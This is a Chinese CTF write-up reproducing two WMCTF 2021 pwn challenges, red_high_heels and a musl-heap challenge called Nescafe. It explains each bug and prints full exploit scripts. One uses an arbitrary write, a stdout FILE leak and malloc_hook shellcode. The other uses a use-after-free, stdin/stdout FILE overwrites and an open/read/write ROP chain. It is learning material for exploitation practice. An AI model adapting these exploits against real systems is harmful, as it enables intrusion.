天天看點

WMCTF 2021 pwn Azly複現

WMCTF 2021 pwn Azly複現

前言:這次比賽好難,就複現兩道pwn題吧,剩下的是真不會,因為之前都沒遇到過,隻能以後慢慢的學,比賽中還有區塊鍊的題,關于區塊鍊的題複現下次送出,這次先複現兩道關于pwn的題吧,題除了musl pwn題第一題還算正常

red_high_heels

漏洞分析:

本題開啟了花指令,是以先去除花指令,重組邏輯,就可以很快的發現漏洞,當時比賽的時候不會去除花指令,隻是瞎翻翻,結果發現看到一個多線程,就感覺這道題是考察條件競争的題,但是這題出的有個缺陷就是,在主線程裡有負數任意寫,這應該是這題的本意考點的意外吧

先分析吧:

WMCTF 2021 pwn Azly複現

看到菜單裡有個點,是接受三個輸入的數值,然後在下面給它們拼到一塊,發現這是個可以任意寫的漏洞點,再看哪個pi_list,是由launch_program程式進行指派的

WMCTF 2021 pwn Azly複現

我們在launch_program發現有個申請的mmap,并且是7可執行權限,是以這裡聯想到寫shellcode,通過前面4的任意寫寫到hook為shellcode,達到getshell,形成這一思路,然後還有一點是寫hook我們必須知道libc基位址,但是libc基位址如何洩露納,我們還是利用第一個4的任意寫,算好iostdout與mmap申請的位址偏移,寫到裡面為0xfbd1800和0,即可洩露libc,再者就是先寫shellcode到mmap申請的地方,再進行把mmap的位址寫到hook,即可getshell

詳細exp吧:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./red_high_heels')
#sh=remote('47.104.169.32',12233)
elf=ELF('./red_high_heels')
context.binary=elf
context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
​
def execve(filename, cmd):
    sh.recvuntil('>> ')
    sh.sendline('3')
    sh.recvuntil('filename: ')
    sh.sendline(filename)
    if(filename != 'redflag'):
        sh.recvuntil(p32(0xa0919ff0))
    else:
        sh.recvuntil(p32(0xa99a9ff0))
    sh.sendline(str(cmd))
​
def ptrace(addr, offset, content):
    sh.recvuntil('>> ')
    sh.sendline('4')
    payload=str(addr)+' '+str(offset)+' '+str(content)
    sh.sendline(payload)
​
​
​
execve(p64(0xa0919ff0), 1)
    
ptrace(0, -2521440, 0xfbad1800)
ptrace(0, -2521415, 0)
    
#sh.recvuntil('\x7f')
#sh.recvuntil('\x7f')
#sh.recvuntil('\x7f')
#sh.recvuntil('\x7f')
sh.recvn(8)
#sh.recvuntil('\x7f')
leak_libc=u64(sh.recv(8).ljust(8, '\x00'))
log.success('leak libc: '+hex(leak_libc))
libc_base=leak_libc-libc.sym['_IO_2_1_stdin_']
log.success('segment begin: '+hex(libc_base))
ptrace(0, 0, 0x732f6e69622fb848)
ptrace(0, 8, 0x3148e78948500068)
ptrace(0, 16, 0x3bc0c748f63148d2)
ptrace(0, 24, 0x050f000000)
malloc_hook_addr=libc_base+0x1ebb70
print hex(malloc_hook_addr)
shellcode_addr=libc_base+0x454000
print hex(shellcode_addr)
#gdb.attach(sh)
ptrace(0, malloc_hook_addr-shellcode_addr, shellcode_addr)
sh.interactive()
           

Nescafe

啊這個題第一次拿到題的時候通過逆向分析下,發現是uaf,但是我運作不起來,群裡的師傅說是musl,我.....,好菜,不知道啥是musl,于是百度了一下确實有musl pwn題,有個上一年比較有代表性的題就是高校戰役的musl pwn題,我第一次接觸這道題,是以分析的時候是根據網上wp的寫法來進行一個彙總,不過分析完exp,感覺除了musl的libc和普通pwn的libc就是一free掉的算法和申請的算法不一樣,我們這裡檢視堆不是用heap,而是p mal這個就可以查到申請的chunk,我們直接參考别的師傅的exp吧

我們先總結思路:

1.因為有uaf,我們可以直接洩露出libc的的基位址,第一步先add一個chunk,再free掉,再洩露就可以洩露出libc基位址

2.我們直接edit一下,篡改fd和bk指針,進行打_stdin_File

3.我們申請到stdin,并覆寫stdin裡面的資料,然後再利用stdin的作用進行溢出到stdout(後期把flag寫到這裡面)

4.這時候構造rop就可以洩露出flag的内容

感覺這一思路和普通pwn的rop思路還是有不同的地方,但是思路還是不錯的,當我複現這個題的時候, 有一個疑問就是為啥不能打hook,當我看到源碼的時候和别人分析的時候,發現musl 沒有hook這一棟西,爬,貌似隻能srop,是以爬啦

直接exp吧:

from pwn import * 
def add(buf): 
    s.sendlineafter(">>","1") 
    s.sendafter("Please input the content",buf) 
def free(idx): 
    s.sendlineafter(">>","2") 
    s.sendlineafter("idx:",str(idx)) 
def show(idx): 
    s.sendlineafter(">>","3")
    s.sendlineafter("idx",str(idx)) 
def edit(idx,buf): 
    s.sendlineafter(">>","4") 
    s.sendlineafter("idx",str(idx)) 
    s.sendafter("Content",buf) 
s = process(["./libc.so","./pwn"]) 
#s = remote("47.104.169.32","11543") 
add('A'*0x100)#0 
add('D'*0x100)#1
free(0)
show(0) 
s.recvline() 
mal = u64(s.recv(6)+"\x00\x00")-384 
libc = ELF("./libc.so",checksec=False) 
libc.address = mal-libc.sym['mal'] 
success(hex(libc.address))
fake_chunk = p64(mal+400-0x18)
fake_chunk += p64(libc.sym['__stdin_FILE']+0x40) 
edit(0,fake_chunk) 
add('B'*0x100)#2 stding_file 
# gdb.attach(s,"b *$rebase(0xca5)\nc") 
ret = libc.address+0x0000000000000cdc 
pop_rdi = libc.address+0x0000000000014862 
mov_rdx = libc.address+0x000000000004951a 
pop_rsi = libc.address+0x000000000001c237 
pop_rdx = libc.address+0x000000000001bea2 
payload = 'A'*0x30+p64(libc.sym['__stdout_FILE']+0x50)+p64(ret)+p64(0)+p64(mov_rdx) 
payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE'])+p64(pop_rdx)+p64(0x500)+p64(libc.sym['read']) 
add('C'*0xb0+payload)#3 
gdb.attach(s)
payload = 'A'*56 
payload += p64(pop_rdi)+p64(libc.sym['__stdout_FILE']+0x100)+p64(pop_rsi)+p64(0)+p64(libc.sym ['open']) 
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['read']) 
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['write']) 
payload = payload.ljust(0x100,'\x00')+"./flag\x00" # raw_input(">") 
​
s.send(payload) 
​
s.interactive()
           

總結:musl這道題能認識到musl 的堆算法的實🗡,能學到不少東西,通過這次比賽經驗告訴我,不要着急否認自己不會做,因為你不去自己嘗試的花,哪就真的不會啦,是以下次一定要把每個題看完,做出自己的全部,解出題,加油!!!!!!!

繼續閱讀